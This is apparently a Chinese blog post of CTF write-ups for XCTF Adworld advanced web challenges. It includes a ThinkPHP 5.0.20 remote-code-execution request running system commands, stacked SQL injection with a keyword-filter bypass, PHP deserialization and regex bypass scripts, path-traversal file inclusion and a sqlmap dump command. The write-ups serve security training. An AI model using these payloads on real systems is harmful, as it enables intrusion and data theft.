攻防世界Web高手进阶区(一)

baby_web

提示为初始页面,用dirsearch扫了下没结果,用brup遍历1-1000的php页面也没什么卵用,还是看wp吧 😭

访问初始页面index.php查看头部,居然这么简单(以后还是多用burp的repeater模块,edge自带的看的少)

image-20220608162439760

这里访问index.php被重定向到1.php中,是通过响应头Location来实现的,状态码302跳转


ics-06

云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

进报表中心看了看,发现确认按钮没啥用,也没找到其他有用的信息,发现url中id值,给他随便赋几个值,页面返回码都是200

所以可判断为id值的页面枚举,用burp的intruder模块 (给的提示是真的少)

image-20220609110933902

id = 2333时页面大小发生变化,查看获得flag

说实话,这种要爆破的题出的不好,提示给的少,而且正确的数字又特别大,很难做出来


Training-WWW-Robots

image-20220608162820206

根据提示,robots协议中有时会泄露网站目录结构,访问robots.txt得到flag的页面fl0g.php,和新手区的题一样


PHP2

页面提示 Can you anthenticate to this website?

这是关于认证,代码审计相关,但给的提示太少了,尝试了下无果,直接看wp,发现 index.phps, 新姿势源码获取途径 get :happy:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

通过GET传入id值与admin进行强比较,若相等则退出,否则对它urldecode后再次进行弱比较拿到key

思路是对admin的一部分进行urlencode编码进行绕过,但这里需要明白一点,id值在传入时浏览器本身执行一次urldecode解码,所以要编码两次

url编码表查看地址 : UrlEncode编码和UrlDecode解码-在线URL编码解码工具

di初始值为admin,我们对a进行编码%61,再对%61进行编码%25%36%31所以最终为 id=%25%36%31dmin

image-20220608165812303

或者直接用burp里的Decoder模块对admin进行两次编码

image-20220608170051702


php_rce

thinkphp V5.0.20版本的RCE漏洞,网上找一找公开的POC

image-20220609170216160

1
2
GET ?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
GET ?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

具体利用细节还没来得及分析复现,主要是框架中method方法过滤不严导致的RCE,以后有时间再看吧


Web_php_include

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

通过GET方式传递page变量,并且判断是否包含"php://"协议头,将它替换为空,最后包含该page变量

这里就涉及到php文件包含的相关知识,好久没做了,现在加深下印象

文件包含

php中文件包含主要作用就是引用被包含文件的代码或者变量,达到代码复用的目的,类似于C语言的include和python中的import,利用点在于被包含的文件会以php方式来解析,下面是四种php文件包含的相关函数

include()与require()函数不同点在于,前者若文件包含出错(文件不存在等)只会提出警告,继续执行后续语句;后者出错时会触发fatal error从而直接退出,不执行后续语句

LFI(Local File Inclusion)

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。

RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

  • allow_url_fopen = On
  • allow_url_include = On

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

直接引用大佬的博客 PHP漏洞全解————10、PHP文件包含漏洞_FLy_鹏程万里的博客-CSDN博客

文件包含可利用的伪协议有

  • php://input
  • php://filter
  • phar://
  • zip://
  • data:URI schema

本题将php://协议ban掉(可以用PHP://大写绕过,str_replace函数的绕过),看看能不能用其他协议代替,测试发现 data:URI schema 可行

image-20220609201524626

访问了下啥都没有😩对它进行cat查看内容,发现没什么作用(后来才发现flag.php内容和index.php一模一样,flag藏起来了,坑!)

image-20220609204204688

这题考察文件包含的伪协议应用以及相关绕过姿势,但最后的查找flag环节属实把我整不会了


supersqli

看题目就是sql注入了,用的sqlmap跑了下,鉴定为布尔盲注,爆出来一个数据库名,但是表报不出来💁

没办法,只能手工注入了,尝试了下inject为注入点,判断注入类型

1
2
1' and 1=1 # 正常回显
1' and 1=2 # 无回显

判断一下为数字注入, 使用order by 判断列数,有两列

1
1' order by 1 #

联合查询

1
1' union select 1,database() #

发现select被正则ban掉了,尝试其他绕过姿势,发现堆叠注入可行

image-20220609234501271

看一看表情况,有两个,盲猜在1919810931114514表里面

image-20220609235729178

查看1919810931114514表的字段

image-20220610000155731

接下来就是查看flag字段的内容了,但是select被ban掉,在网上找的wp中使用预编译绕过进行查询

1
';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;

image-20220610000505321


Web_php_unserialize

审计源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

这里要绕过pre_match的正则匹配,也要绕过__wakeup()函数,将file成员变量设为 fl4g.php,序列化脚本与上题一致

preg_match正则为 /[oc]:\d+:/i oc表示o或者c字母,加上冒号,\d表示0-9数字,**+**表示前面重复,再加一个冒号,/i表示不区分大小写

image-20220609020433924

正则匹配测试 正则表达式在线测试 | 菜鸟工具 (runoob.com)

这里在O:4中添加一个+号绕过正则(4和正数4(+4)在php中完全一致)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 

class Demo
{
private $file;
public function __construct()
{
$this->file = 'fl4g.php';
}
}

$xctf = new Demo();
$x = serialize($xctf);
$x = str_replace('O:4', 'O:+4', $x);//绕过preg_match()
$x = str_replace(':1:', ':2:', $x);//绕过__wakeup()

echo base64_encode($x);

得到var的传值TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

这里需要注意的是不能在序列化后的字符进行修改,因为序列化后有乱码不能直接复制,导致base64加密错误,需要在php脚本中进行修改和base64编码。

image-20220609020747760


unserialize3

本题考查php中反序列化知识,其中包括魔术方法____ sleep() 和 ____ wakeup()

在使用serialize()方法时会**首先调用sleep()方法,同理,在unserialize()时会首先调用wakeup()**方法

1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}

首先序列化一个xctf类的对象,其中包含flag成员,值为字符’111’

1
2
3
4
5
6
7
8
9
10
11
<?php 
class xctf
{
public $flag;
public function __construct($flag = '')
{
$this->flag = $flag;
}
}
$Xctf = new xctf('111');
echo serialize($Xctf);

在线运行代码网站PHP在线运行工具|代码在线运行工具 (y444.cn)

运行结果为O:4:"xctf":1:{s:4:"flag";s:3:"111";}

题中给的xctf类中有wakeup()方法,也就是在反序列化时会直接执行exit()函数,所以要对wakeup()方法进行绕过

网上的说法是序列化后的字符串中类名后面的数字代表该类的属性个数,若将该值修改为大于原有的个数,则跳过wakeup()魔术方法

结果为O:4:"xctf":2:{s:4:"flag";s:3:"111";}

image-20220608233717557


warmup

上来给一个大滑稽图片,给我整不会了😓

审计源码隐藏source.php,贴下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

根据hint.php得到flag的相关信息: ffffllllaaaagggg

白名单过滤,page_page变量是page变量取第一个?前的所有字符,观察return true的时候满足的条件

第一个为source.php(hint.php)? + payload

第二个为source.php(hint.php)%25%33%66 + payload

%25%33%66 为?的两次urlencode

最终绕过后进入文件包含的命令为

1
include("source.php(hint.php)? + payload")

不断尝试后得到payload,但我不是很懂include文件包含为什么会成功

1
2
source.php?file=source.php?../../../../../ffffllllaaaagggg
source.php?file=source.php%25%33%66../../../../../ffffllllaaaagggg

image-20220610014052090


NewsCenter

打开后输入关键词查找news,扫了下网站目录没什么发现

试了下有没有sql注入,单引号闭合,果然报错了

image-20220610104337575

用order by fuzz一下,有3列

1
2
1' order by 3 #
1' union select 1,database() #

手工注入做不下去了:) 自己太菜了 ,上sqlmap,属于盲注

1
sqlmap -u http://111.200.241.244:57582/ --data=search=1 -D news -T secret_table -columns --dump

image-20220610105942596


NaNNaNNaNNaN-Batman

给了attachment附件,看一看是什么鬼

打开后一堆乱码,很多混淆,也不知道怎么改,只能看wp了,原来是将执行代码eval变为alert显示出源码(关键读懂js的含义)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<script>
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);
s[o%4].splice(0,1)
}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _
</script>

刚开始我还在探索怎样构造输入的值,满足这么多的if条件,但根本不用这么麻烦,直接把核心内容拿出来输出完事

1
2
3
4
5
6
7
8
9
10
11
<script type="text/javascript">
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);
s[o%4].splice(0,1)
}
</script>

image-20220610113732822


攻防世界Web高手进阶区(一)
https://blue-arc.github.io/2022/06/10/AdWorld-1/
作者
冰蓝弧影
发布于
2022年6月10日
许可协议